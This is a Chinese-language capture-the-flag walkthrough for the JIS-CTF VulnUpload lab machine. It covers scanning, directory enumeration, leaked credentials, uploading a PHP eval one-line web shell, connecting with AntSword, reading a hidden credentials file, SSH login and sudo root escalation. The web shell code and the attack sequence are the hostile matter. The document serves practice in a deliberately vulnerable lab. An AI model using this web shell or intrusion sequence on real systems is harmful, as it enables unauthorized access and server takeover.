JIS文档说明

JIS-CTF-VulnUpload-CTF01靶机下载地址

该靶机有5个flag

1、网卡配置

开启靶机，看见加载的进度条按shift，看到如下界面：

然后按e键,修改 如下

rw signie init=/bin/bash    # rw读写 signie单用户 命令权限/bin/bash

改完之后Ctrl+x进入单用户模式

先查看我们靶机的网卡名称ip a

然后来到靶机vim /etc/network/interfaces下，进行网卡配置,

网卡默认配置如下

进行网卡配置修改如下：

然后重启网卡

/etc/init.d/networking restart

重启靶机

2、信息收集

靶机MAC：00:0C:29:09:00:9D

主机发现

sudo arp-scan -l

端口扫描

sudo nmap -A -p- 192.168.80.140

目录扫描

sudo dirsearch -u 192.168.80.140  

dirb http://192.168.80.140

3、漏洞探测

访问flag http://192.168.80.140/flag/
找到第一个flag

访问robots.txt

http://192.168.80.140/robots.txt

访问login.php

http://192.168.80.140/login.php

发现没有什么发现，继续 看看其他目录

访问admin_area，打开F12 ，发现第二个flag

​ username : admin
​ password : 3v1l_H@ck3r
​ The 2nd flag is : {7412574125871236547895214}

前往登录页面进行登录

发现是一个文件上传的界面，我们可以上传一句话木马尝试得到 shell

4、漏洞利用

一句话木马

编辑一句话木马1.php

<?php  @eval($_REQUEST[6868])?>

在刚才的robots.txt文件里，又跟上传相关的

访问http://192.168.80.140/uploads报错

访问http://192.168.80.140/uploaded_files/页面没反应，但是也没有报错，

继续访问http://192.168.80.140/uploaded_files/1.php，页面也没有报错

蚁剑 GetShell

URL地址：http://192.168.80.140/uploaded_files/1.php

连接密码：6868

查找跟flag有关的文件

find / -name 'flag*' 2>/dev/null

发现没有权限访问/var/www/html/flag.txt

在/var/www/html/hint.txt里发现第三个 flag

尝试使用technawi密码来读取flag.txt文件，你可以在一个隐藏文件找到它

使用find命令查找

find / -user 'technawi' 2>/dev/null

cat /etc/mysql/conf.d/credentials.txt

得到technawi用户的密码

username : technawi
password : 3vilH@ksor

SSH连接

使用ssh连接ssh technawi@192.168.80.140，查看该用户能以root身份执行哪些文件，发现有所有的权限

然后去看看/var/www/html/flag.txt，得到第五个flag

提权

sudo su